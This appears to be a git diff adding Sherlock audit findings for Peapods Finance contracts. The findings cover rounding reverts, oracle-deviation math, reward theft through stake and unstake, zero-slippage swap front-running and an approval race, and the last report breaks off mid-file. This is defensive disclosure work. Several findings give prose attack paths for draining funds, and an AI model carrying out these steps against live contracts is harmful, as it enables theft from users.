+Removing leverage will often fail when the received pair LP token is insufficient
+
+### Root Cause
+
+Upon removing leverage (`LeverageManager::removeLeverage()`), a part of the whole flow is receiving a pod token and a paired LP token. Then, the paired LP token which is also the initially flashloaned token is used to repay the flashloan. However, a very common scenario that can occur is that the received paired LP token is insufficient and we have to convert some of our pod token for the paired token:
+```solidity
+if (_pairedAmtReceived < _repayAmount) {
+ _podAmtRemaining = _acquireBorrowTokenForRepayment(_props, _posProps.pod, _d.token, _repayAmount - _pairedAmtReceived, _podAmtReceived, _podSwapAmtOutMin, _userProvidedDebtAmtMax);
+ }
+```
+There, if the user does not cover the whole amount necessary using his own tokens and the pod is of a self lending type, we have to do an extra step and that is to first convert into the paired token which is the shares token of the lending pair instead of the borrow token, and then we have to redeem the share token for the underlying borrowed/flashloaned token. For that, we use the following code:
+```solidity
+_podAmtRemaining = _swapPodForBorrowToken(
+ _pod,
+ positionProps[_props.positionId].lendingPair,
+ _podAmtReceived,
+ IFraxlendPair(positionProps[_props.positionId].lendingPair).convertToShares(_borrowAmtNeededToSwap),
+ _podSwapAmtOutMin
+ );
+ IFraxlendPair(positionProps[_props.positionId].lendingPair).redeem(IERC20(positionProps[_props.positionId].lendingPair).balanceOf(address(this)), address(this), address(this));
+```
+Since `_borrowAmtNeededToSwap` is the amount of flashloaned tokens we need to repay, we have to convert them into the share amount, for that we use `convertToShares()`. The issue is that `convertToShares()` rounds down (second param in `toAssetShares()`:
+```solidity
+ function convertToShares(uint256 _assets) external view returns (uint256 _shares) {
+ _shares = toAssetShares(_assets, false, true);
+ }
+```
+This means that we might receive 1 less share than supposed to during the swap. Then, we will redeem those shares for the amount which also rounds down, causing us to receive 1 less token than supposed to. Despite this being a 1 wei difference, we have to repay the full flashloan which will simply revert as the tokens we received are insufficient.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. After receiving our pod tokens and paired LP tokens, we are 100 tokens short from repayment
+2. We are using a self-lending pod so we use `convertToShares()` to convert those tokens to their corresponding shares amount, we round down to 99
+3. We receive 99 shares which we redeem and we receive 99 tokens (or less if we round down again)
+4. Upon the repayment, we will revert as we are 1-2 tokens short:
+```solidity
+IERC20(_d.token).safeTransfer(IFlashLoanSource(_getFlashSource(_props.positionId)).source(), _repayAmount);
+```
+
+### Impact
+
+Removing leverage will often revert due to a round down
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Round up instead
\ No newline at end of file
diff --git a/054.md b/054.md
new file mode 100644
index 0000000..6a8382b
--- /dev/null
+++ b/054.md
@@ -0,0 +1,90 @@
+Fast Khaki Raccoon
+
+Medium
+
+# `_updateExchangeRate` math is wrong, bad oracles are treated as good
+
+### Summary
+
+The bellow math performs one crucial mistake, it calculates the divergence, by using the higher value - `highExchangeRate` as denominator.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L552-L554
+```solidity
+ // 1e5 * (highExchangeRate - lowExchangeRate) / highExchangeRate
+ uint256 _deviation = (
+ DEVIATION_PRECISION * (_exchangeRateInfo.highExchangeRate - _exchangeRateInfo.lowExchangeRate)
+ ) / _exchangeRateInfo.highExchangeRate;
+```
+
+This will cause values that should be equal or bigger than `maxOracleDeviation` to still be smaller than it, further allowing borrowing when the system should be stopped due to a faulty oracle.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L555-L557
+```solidity
+ if (_deviation <= _exchangeRateInfo.maxOracleDeviation) {
+ _isBorrowAllowed = true;
+ }
+```
+
+This bug is best shown with an example or two.
+
+
+## Example1 (simple one to demonstrate the math):
+
+$$
+\frac{\text{highExchangeRate} - \text{lowExchangeRate}}{\text{highExchangeRate}} = \frac{15 - 10}{15} = 33.3\\%
+$$
+
+From this example we have secluded that the difference between 10 and 15 would cause a 33.3% divergence, not taking into account that 5 is 50% of 10.
+
+## Example2 (realistic one):
+
+| *prerequisite* | *values* |
+|--------------------|----------|
+| lowExchangeRate | 100k |
+| highExchangeRate | 105.25k |
+| maxOracleDeviation | 5% |
+
+$$
+\frac{\text{highExchangeRate} - \text{lowExchangeRate}}{\text{highExchangeRate}} = \frac{105.25k - 100k}{105.25k} = 4.98\\%
+$$
+
+Here even though the value difference between 100k and 105.25k is 5.25k we still pass the bellow 5% `maxOracleDeviation` and thus operate as normal allowing borrowers to borrow.
+
+
+
+### Root Cause
+
+Dividing by the `highExchangeRate` rather than the low one.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+There is no attack path per say, just a faulty environment where the bug would happen on occasion. Perhaps the attack would be a user to borrow at times when borrowing should be disabled, but isn't due to the faulty math.
+
+### Impact
+
+Oracles will function normally even when the deviation exceeds `_exchangeRateInfo.maxOracleDeviation`.
+Invariant is broken.
+The system allows users to borrow under a state where it's checks should stop borrowing:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L555-L557
+```solidity
+ if (_deviation <= _exchangeRateInfo.maxOracleDeviation) {
+ _isBorrowAllowed = true;
+ }
+```
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider dividing by the low one to make the system more secure and avoid possible failures. Alternative would be to use the average between the two.
\ No newline at end of file
diff --git a/055.md b/055.md
new file mode 100644
index 0000000..06f3b44
--- /dev/null
+++ b/055.md
@@ -0,0 +1,66 @@
+Fast Khaki Raccoon
+
+Medium
+
+# `LinearInterestRate` can never be used
+
+### Summary
+
+When interest is calculated `FraxlendPairCore` calls `IRateCalculatorV2::getNewRate`, which can be 2 possible contracts - `LinearInterestRate` or `VariableInterestRate`
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L404-L407
+```solidity
+ (_results.newRate, _results.newFullUtilizationRate) = IRateCalculatorV2(rateContract).getNewRate(
+ _deltaTime, _utilizationRate, _currentRateInfo.fullUtilizationRate
+ );
+```
+
+
+However due to `LinearInterestRate` implementing the old interface and thus the old `getNewRate` function `FraxlendPairCore` will not be able to be used with it, as it's function uses `bytes calldata _data, bytes calldata _initData` as inputs instead of ` _deltaTime, _utilizationRate, _currentRateInfo.fullUtilizationRate`:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/LinearInterestRate.sol#L74
+```solidity
+ function getNewRate(bytes calldata _data, bytes calldata _initData) external pure returns (uint64 _newRatePerSec) {
+```
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/LinearInterestRate.sol#L74
+```solidity
+ function getNewRate(bytes calldata _data, bytes calldata _initData) external pure returns (uint64 _newRatePerSec) {
+```
+
+`getNewRate` accepting 2 params that are never imputed into this function interface, the only time it is called:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L404-L407
+```solidity
+ (_results.newRate, _results.newFullUtilizationRate) = IRateCalculatorV2(rateContract).getNewRate(
+ _deltaTime, _utilizationRate, _currentRateInfo.fullUtilizationRate
+ );
+```
+
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+The contract will be just unusable, and thus no linear rate would be possible.
+
+### Impact
+
+One of the 2 interest rate contracts will be unusable.
+Contracts in scope will not be able to be used because it's input params don't match the one place where it's interface function is called.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Update the function to accept the same parameters as `VariableInterestRate`, in order for the contract to be usable again.
\ No newline at end of file
diff --git a/056.md b/056.md
new file mode 100644
index 0000000..2c813b0
--- /dev/null
+++ b/056.md
@@ -0,0 +1,127 @@
+Basic Lilac Marmot
+
+High
+
+# steal reward token through StakingPoolToken.sol
+
+### Summary
+
+# Summary
+
+```solidity
+function stake(address _user, uint256 _amount) external override {
+ require(stakingToken != address(0), "I");
+ if (stakeUserRestriction != address(0)) {
+ require(_user == stakeUserRestriction, "U");
+ }
+ _mint(_user, _amount);
+ IERC20(stakingToken).safeTransferFrom(_msgSender(), address(this), _amount);
+ emit Stake(_msgSender(), _user, _amount);
+}
+
+function unstake(uint256 _amount) external override {
+ _burn(_msgSender(), _amount);
+ IERC20(stakingToken).safeTransfer(_msgSender(), _amount);
+ emit Unstake(_msgSender(), _amount);
+}
+```
+
+The stake function cannot be directly called when stakeUserRestriction is set, but it can be called through the indexUtils contract. After calling the stake function, the unstake function can be invoked, triggering both the _burn function and the _update function.
+
+```solidity
+function _update(address _from, address _to, uint256 _value) internal override {
+ super._update(_from, _to, _value);
+ if (_from != address(0)) {
+ TokenRewards(POOL_REWARDS).setShares(_from, _value, true);
+ }
+ if (_to != address(0) && _to != address(0xdead)) {
+ TokenRewards(POOL_REWARDS).setShares(_to, _value, false);
+ }
+}
+```
+
+When the _update function is called, it invokes setShares from POOL_REWARDS, adding the value of shares to the from address.
+
+```solidity
+function setShares(address _wallet, uint256 _amount, bool _sharesRemoving) external override {
+ require(_msgSender() == trackingToken, "UNAUTHORIZED");
+ _setShares(_wallet, _amount, _sharesRemoving);
+}
+
+function _setShares(address _wallet, uint256 _amount, bool _sharesRemoving) internal {
+ _processFeesIfApplicable();
+ if (_sharesRemoving) {
+ _removeShares(_wallet, _amount);
+ emit RemoveShares(_wallet, _amount);
+ } else {
+ _addShares(_wallet, _amount);
+ emit AddShares(_wallet, _amount);
+ }
+}
+```
+
+The setShares function adds the specified amount of shares to the _wallet address's share storage.
+
+```solidity
+function _distributeReward(address _wallet) internal {
+ if (shares[_wallet] == 0) {
+ return;
+ }
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ address _token = _allRewardsTokens[_i];
+
+ if (REWARDS_WHITELISTER.paused(_token)) {
+ continue;
+ }
+
+ uint256 _amount = getUnpaid(_token, _wallet);
+ rewards[_token][_wallet].realized += _amount;
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+ if (_amount > 0) {
+ rewardsDistributed[_token] += _amount;
+ IERC20(_token).safeTransfer(_wallet, _amount);
+ emit DistributeReward(_wallet, _token, _amount);
+ }
+ }
+}
+```
+
+The claimReward function calls _distributeReward in the TokenRewards contract, allowing tokens to be stolen in this process.
+
+
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/StakingPoolToken.sol#L77-L81
+
+The system is designed to give rewards when the unstake function is called, but since unstake can be called at any time, this can be exploited to withdraw all rewards.
+
+
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+The attack sequence is as follows:
+
+1. The attacker calls the stake and unstake functions to trigger the setShares function in POOL_REWARDS.
+2. Once step 1 is completed, the attacker can withdraw tokens through claimRewards in the TokenRewards contract.
+3. The above steps are repeated to steal all the tokens.
+
+### Impact
+
+can steal all rewards
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/057.md b/057.md
new file mode 100644
index 0000000..ac80e55
--- /dev/null
+++ b/057.md
@@ -0,0 +1,91 @@
+Basic Lilac Marmot
+
+High
+
+# anyone can steal swapping token
+
+### Summary
+
+# Summary
+
+```solidity
+function deposit(uint256 _assets, address _receiver) external override returns (uint256 _shares) {
+ _processRewardsToPodLp(0, block.timestamp);
+ _shares = _convertToShares(_assets, Math.Rounding.Floor);
+ _deposit(_assets, _shares, _receiver);
+}
+```
+
+Anyone can deposit tokens through the deposit function, which will invoke the _processRewardsToPodLp function in the process.
+
+```solidity
+address _rewardsToken = pod.lpRewardsToken();
+if (_token != _rewardsToken) {
+ **_amountOut = _swap(_token, _swapOutputTkn, _amountIn, 0);**
+ if (IS_PAIRED_LENDING_PAIR) {
+ _amountOut = _depositIntoLendingPair(_pairedLpToken, _swapOutputTkn, _amountOut);
+ }
+ return _amountOut;
+}
+```
+
+```solidity
+try DEX_ADAPTER.swapV3Single(
+ _rewardsToken,
+ _swapOutputTkn,
+ REWARDS_POOL_FEE,
+ _amountIn,
+ **0, // _amountOutMin can be 0 because this is nested inside of function with LP slippage provided**
+ address(this)
+) returns (uint256 __amountOut) {
+ _tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn] = 0;
+ _amountOut = __amountOut;
+
+ // if this is a self-lending pod, convert the received borrow token
+ // into fTKN shares and use as the output since it's the pod paired LP token
+ if (IS_PAIRED_LENDING_PAIR) {
+ _amountOut = _depositIntoLendingPair(_pairedLpToken, _swapOutputTkn, _amountOut);
+ }
+} catch {
+ _tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn] =
+ _amountIn / 2 < _minSwap ? _minSwap : _amountIn / 2;
+ IERC20(_rewardsToken).safeDecreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ emit TokenToPairedLpSwapError(_rewardsToken, _swapOutputTkn, _amountIn);
+}
+```
+
+In the process of executing these functions, the _tokenToPairedLpToken function is called, and during that process, the token is swapped. Since the amountOutMin is set to 0, it is possible for front-running or forced function calls to steal tokens during the swap process.
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L266
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L284
+In the process of executing these functions, the _tokenToPairedLpToken function is called, and during that process, the token is swapped. Since the amountOutMin is set to 0, it is possible for front-running or forced function calls to steal tokens during the swap process.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+Since the _processRewardsToPodLp function can be called through the deposit function, the attack process is as follows:
+
+1. Adjust the liquidity of the swap pool to make it disadvantageous for the swap amount.
+2. Perform the swap through the deposit function.
+3. Profit
+
+### Impact
+
+can steal all swapping tokens
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/058.md b/058.md
new file mode 100644
index 0000000..cfa002e
--- /dev/null
+++ b/058.md
@@ -0,0 +1,82 @@
+Brave Saffron Rooster
+
+Medium
+
+# There may be no last debonder.
+
+### Summary
+
+There may be no last debonder.
+
+### Root Cause
+
+In `DecentralizedIndex.sol`, the `_isLastOut` function may always return false, which implies that a last debonder might not exist based on this function's logic.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L281-L283
+```solidity
+ function _isLastOut(uint256 _debondAmount) internal view returns (bool) {
+ return _debondAmount >= (_totalSupply * 99) / 100;
+ }
+```
+The amount of pTKN held by a user may not reach 99% of `_totalSupply`.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L99-L103
+```solidity
+require(__fees.buy <= (uint256(DEN) * 20) / 100);
+ require(__fees.sell <= (uint256(DEN) * 20) / 100);
+ require(__fees.burn <= (uint256(DEN) * 70) / 100);
+ require(__fees.bond <= (uint256(DEN) * 99) / 100);
+ require(__fees.debond <= (uint256(DEN) * 99) / 100);
+ require(__fees.partner <= (uint256(DEN) * 5) / 100);
+```
+When `__fees.bond = (uint256(DEN) * 5) / 100)` and `__fees.burn = (uint256(DEN) * 40) / 100)`,
+let's analyze minted tokens and `_totalSupply` of a user.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L139-L171
+```solidity
+function _bond(address _token, uint256 _amount, uint256 _amountMintMin, address _user) internal {
+ [...]
+ if (_firstIn) {
+@> _tokensMinted = (_amount * FixedPoint96.Q96 * 10 ** decimals()) / indexTokens[_tokenIdx].q1;
+ } else {
+ _tokensMinted = (_totalSupply * _tokenAmtSupplyRatioX96) / FixedPoint96.Q96;
+ }
+@> uint256 _feeTokens = _canWrapFeeFree(_user) ? 0 : (_tokensMinted * _fees.bond) / DEN;
+ require(_tokensMinted - _feeTokens >= _amountMintMin, "M");
+@> _totalSupply += _tokensMinted;
+ _mint(_user, _tokensMinted - _feeTokens);
+ if (_feeTokens > 0) {
+ _mint(address(this), _feeTokens);
+@> _processBurnFee(_feeTokens);
+ }
+ [...]
+ }
+```
+
+In this context, `_totalSupply` can be expressed as `tokensMinted - tokensMinted * _fees.bond / DEN * _fees.burn / DEN`, and the user's minted tokens are `_tokensMinted * (1 - _fees.bond / DEN)`.
+Thus, we can derive that:
+`tokensMinted*(1-_fees.bond/ DEN)/_totalSupply = (1-_fees.bond/ DEN) / (1-_fees.bond/DEN*_fees.burn/ DEN )=(1-0.05)/(1-0.05*0.4)=0.95/0.98<0.99`.
+Given the values of `_fees.bond` and `_fees.burn`, it is plausible that there may be no last debonder. Additionally, in this scenario, determining the last debonder based solely on the unwrap amount is not accurate.
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+The function `_isLastOut` may always return `false` and does not decide the last debonder.
+So the fee may be applied to the real last debonder.
+### PoC
+
+_No response_
+
+### Mitigation
+
+Please adjust fee parameters or update the algorithm to determining the last debonder.
\ No newline at end of file
diff --git a/059.md b/059.md
new file mode 100644
index 0000000..c23075e
--- /dev/null
+++ b/059.md
@@ -0,0 +1,78 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Liquidators won't always liquidate positions
+
+### Summary
+
+Liquidators will sometimes get unprofitable liquidations due to the way protocol fee is taken, this will lower liquidations and push the system into reaching bad debt more easily.
+
+Fees are taken from liquidator's collateral, which would decrease it's earning and may even make liquidations unprofitable in some cases.
+
+The code snippet bellow shows how we:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L1132-L1157
+```solidity
+ // get liquidator's liquidating assets
+ uint256 _liquidationAmountInCollateralUnits =
+ ((_totalBorrow.toAmount(_sharesToLiquidate, false) * _exchangeRate) / EXCHANGE_PRECISION);
+
+ // calculate the fee he would get for executing the task
+ uint256 _optimisticCollateralForLiquidator =
+ (_liquidationAmountInCollateralUnits * (LIQ_PRECISION + cleanLiquidationFee)) / LIQ_PRECISION;
+
+ // get leftover and make sure we aren't getting more collateral than the user has
+ _leftoverCollateral = (_userCollateralBalance.toInt256() - _optimisticCollateralForLiquidator.toInt256());
+
+ _collateralForLiquidator = _leftoverCollateral <= 0
+ ? _userCollateralBalance
+ : (_liquidationAmountInCollateralUnits * (LIQ_PRECISION + dirtyLiquidationFee)) / LIQ_PRECISION;
+
+ // calculate the protocol fee from liquidator's final amount
+ if (protocolLiquidationFee > 0) {
+ _feesAmount = (protocolLiquidationFee * _collateralForLiquidator) / LIQ_PRECISION;
+ _collateralForLiquidator = _collateralForLiquidator - _feesAmount;
+ }
+```
+
+However since we are taking the fee from the liquidator's final amount that protocol fee is applied on a bigger value (coll + liquidator fee), thus having more impact and being proportionally bigger.
+
+### Root Cause
+
+Taking the fee from the liquidator's final amount
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L1149-L1151
+```solidity
+ if (protocolLiquidationFee > 0) {
+ _feesAmount = (protocolLiquidationFee * _collateralForLiquidator) / LIQ_PRECISION;
+ _collateralForLiquidator = _collateralForLiquidator - _feesAmount;
+ }
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Protocol and liquidator fees are 10% each
+2. Liquidator liquidates 10k worth of assets
+3. We math out his `_collateralForLiquidator` to be worth 11k
+4. Fees would be 11k * 10% -> 1.1k
+5. Final `_collateralForLiquidator` would be 9.9k making the liquidation bad for the liquidator
+
+### Impact
+
+Liquidators will sometimes get unprofitable liquidations due to the way protocol fee is taken, this will lower liquidations and push the system into reaching bad debt more easily.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Take the fee from the amount before the increase.
\ No newline at end of file
diff --git a/060.md b/060.md
new file mode 100644
index 0000000..c8ee248
--- /dev/null
+++ b/060.md
@@ -0,0 +1,59 @@
+Brave Saffron Rooster
+
+High
+
+# Only part of protocol fees are calculated when `setProtocolFee` is updated.
+
+### Summary
+
+Only part of protocol fees are calculated when `setProtocolFee` is updated.
+### Root Cause
+
+
+In `AutoCompoundingPodLp.sol`, when `setProtocolFee` is updated, the `_processRewardsToPodLp` is called to collect protocol fees.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L468-L474
+```solidity
+ function setProtocolFee(uint16 _newFee, uint256 _lpMinOut, uint256 _deadline) external onlyOwner {
+ require(_newFee <= 1000, "MAX");
+@> _processRewardsToPodLp(_lpMinOut, _deadline);
+ uint16 _oldFee = protocolFee;
+ protocolFee = _newFee;
+ emit SetProtocolFee(_oldFee, _newFee);
+ }
+```
+However, in `_processRewardsToPodLp`, only `maxSwap[_token]` of the token is swapped to the paired token, and the protocol fee is applied only to this amount. I believe the old protocol fee should be applied to the entire amount of _token to process LP Tokens.
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L249-L256
+```solidity
+ function _tokenToPairedLpToken(address _token, uint256 _amountIn) internal returns (uint256 _amountOut) {
+ address _pairedLpToken = pod.PAIRED_LP_TOKEN();
+ address _swapOutputTkn = _pairedLpToken;
+ if (_token == _pairedLpToken) {
+ return _amountIn;
+@> } else if (maxSwap[_token] > 0 && _amountIn > maxSwap[_token]) {
+@> _amountIn = maxSwap[_token];
+ }
+```
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Applying the old protocol fee to only part of the amount of reward tokens may result in a loss or increase in LP Tokens.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Please apply the protocol fee to all reward tokens
\ No newline at end of file
diff --git a/061.md b/061.md
new file mode 100644
index 0000000..f49e30b
--- /dev/null
+++ b/061.md
@@ -0,0 +1,77 @@
+Fast Khaki Raccoon
+
+Medium
+
+# `depositFromPairedLpToken` fees are aplied one on another
+
+### Summary
+
+When applying the fees `depositFromPairedLpToken` applies admin and yield fees:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L148-L162
+```solidity
+ uint256 _adminAmt = _getAdminFeeFromAmount(_amountTkn);
+ _amountTkn -= _adminAmt;
+
+ if (LEAVE_AS_PAIRED_LP_TOKEN) {
+ (, uint256 _yieldBurnFee) = _getYieldFees();
+
+ uint256 _burnAmount = (_amountTkn * _yieldBurnFee) / PROTOCOL_FEE_ROUTER.protocolFees().DEN();
+ _adminAmt += _burnAmount;
+ _amountTkn -= _burnAmount;
+
+ if (_adminAmt > 0) {
+ _processAdminFee(_adminAmt);
+ }
+
+ _depositRewards(PAIRED_LP_TOKEN, _amountTkn);
+ return;
+ }
+```
+
+However due to the order they are applied the yield fee is proportionality reduced by the admin fee, resulting in lower yield fee, thus lower burn amount.
+
+### Root Cause
+
+Applying yield fee on the already lowered amount (by the admin fee)
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L148-L162
+```solidity
+ uint256 _adminAmt = _getAdminFeeFromAmount(_amountTkn);
+ _amountTkn -= _adminAmt; // amount is lowered by admin fee
+
+ if (LEAVE_AS_PAIRED_LP_TOKEN) {
+ (, uint256 _yieldBurnFee) = _getYieldFees();
+
+ // yield fee applied on the already lowered amount
+ uint256 _burnAmount = (_amountTkn * _yieldBurnFee) / PROTOCOL_FEE_ROUTER.protocolFees().DEN();
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+1. Both fees are 10%
+2. Deposit of 1000 tokens is made
+3. `_amountTkn` is reduced by 10% to 900
+4. yield fee is calculated as 10% out of 900, which is 90
+
+Total fees are 190 (19%), even thought they are 10% each -> 20% total
+Yield fee is 10% lower due to the sequential fee.
+
+### Impact
+
+Yield fee is proportionality lower, due to using the already lowered amount.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Apply the yield fee on the full amount, then decrease it by both fees.
\ No newline at end of file
diff --git a/062.md b/062.md
new file mode 100644
index 0000000..3f088c5
--- /dev/null
+++ b/062.md
@@ -0,0 +1,47 @@
+Cheesy Brick Nightingale
+
+Medium
+
+# ERC20 Race Condition in `LendingAssetVault` and `Autocompoundingpodlp` Withdraw Functions
+
+### Summary
+
+Malicious users can steal more shares than approved by front-running allowance changes. Missing atomic allowance updates in `_withdraw` functions across both `LendingAssetVault.sol` and `Autocompoundingpodlp.sol` allow malicious users to steal additional vault shares by front-running allowance changes, potentially draining users' approved shares.
+
+### Root Cause
+
+In both `LendingAssetVault.sol:178` ([[LendingAssetVault.sol#L176-L187](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol?plain=1#L176-L187)](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol?plain=1#L176-L187)) and `AutoCompoundingPodLp.sol:194` ([[AutoCompoundingPodLp.sol#L190-L201](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol?plain=1#L190-L201)](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol?plain=1#L190-L201)), the `_withdraw` function utilizes `_spendAllowance`, which checks allowances after interest updates. However, this does not mitigate the classic ERC20 approval race condition.
+
+### Internal Pre-conditions
+
+1. Owner must approve spender for X shares.
+2. Owner must attempt to change approval to Y shares.
+3. Functions `withdraw()` or `redeem()` must be callable by spender.
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Owner approves Spender for 100 shares.
+2. Owner attempts to reduce approval to 50 shares.
+3. Spender front-runs with `withdraw()` using original 100 share allowance.
+4. Owner's transaction reduces "remaining" allowance to 50.
+5. Spender can now withdraw additional 50 shares.
+6. Total withdrawn: 150 shares vs intended 100.
+
+### Impact
+
+Victims can lose additional vault shares beyond intended approvals. Given that shares represent underlying assets plus accrued interest across multiple vaults, losses could be substantial.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+1. Implement `increaseAllowance`/`decreaseAllowance` functions for atomic updates.
+2. Replace direct approval changes with these safer functions.
+
+Here is a sampe of ERC20 approval race conditions: [https://github.com/0xProject/0x-monorepo/issues/850](https://github.com/0xProject/0x-monorepo/issues/850) to read through for more info.
\ No newline at end of file
diff --git a/063.md b/063.md
new file mode 100644
index 0000000..542cc0e
--- /dev/null
+++ b/063.md
@@ -0,0 +1,127 @@
+Fast Khaki Raccoon
+
+High
+
+# Pausing rewards will lead to tokens being bricked and users not being able to claim them
+
+### Summary
+
+When adding or removing shares for tokens if one of them is paused it would cause all rewards, even the ones accumulated before the pause to be "bricked" for all users who claim during the pause.
+
+Example would be `_removeShares`
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L126-L135
+```solidity
+ function _removeShares(address _wallet, uint256 _amount) internal {
+ require(shares[_wallet] > 0 && _amount <= shares[_wallet], "RE");
+ _distributeReward(_wallet);
+ totalShares -= _amount;
+ shares[_wallet] -= _amount;
+
+ if (shares[_wallet] == 0) {
+ totalStakers--;
+ }
+
+ _resetExcluded(_wallet);
+ }
+```
+
+for we first call `_distributeReward` and distribute for all not paused tokens
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L240-L255
+```solidity
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ address _token = _allRewardsTokens[_i];
+
+ if (REWARDS_WHITELISTER.paused(_token)) {
+ continue;
+ }
+
+ uint256 _amount = getUnpaid(_token, _wallet);
+ rewards[_token][_wallet].realized += _amount;
+
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+
+ if (_amount > 0) {
+ rewardsDistributed[_token] += _amount;
+ IERC20(_token).safeTransfer(_wallet, _amount);
+ emit DistributeReward(_wallet, _token, _amount);
+ }
+ }
+```
+
+but then trigger `_resetExcluded and reset `rewards[_token][_wallet].excluded` for all tokens.
+
+### Root Cause
+
+The diff in handling between `_resetExcluded` and `_distributeReward` when it comes to paused rewards
+
+
+```solidity
+ function _resetExcluded(address _wallet) internal {
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ address _token = _allRewardsTokens[_i];
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+ }
+ }
+```
+
+```solidity
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ address _token = _allRewardsTokens[_i];
+
+ if (REWARDS_WHITELISTER.paused(_token)) {
+ continue;
+ }
+
+ uint256 _amount = getUnpaid(_token, _wallet);
+ rewards[_token][_wallet].realized += _amount;
+
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+
+ if (_amount > 0) {
+ rewardsDistributed[_token] += _amount;
+ IERC20(_token).safeTransfer(_wallet, _amount);
+ emit DistributeReward(_wallet, _token, _amount);
+ }
+ }
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Token A and B both accumulate 1 reward per share
+2. Alice has 100 shares and claims rewards for both tokens and her `rewards[token][Alice].excluded` are synced with the current rewards
+3. B is then temporarily paused for some reason
+4. Bob claims rewards, however since B is paused he claims only for A
+5. Bob's `rewards[token][Alice].excluded` are both synced since `_resetExcluded` does not have any way to handle paused tokens
+
+
+```solidity
+ function _resetExcluded(address _wallet) internal {
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
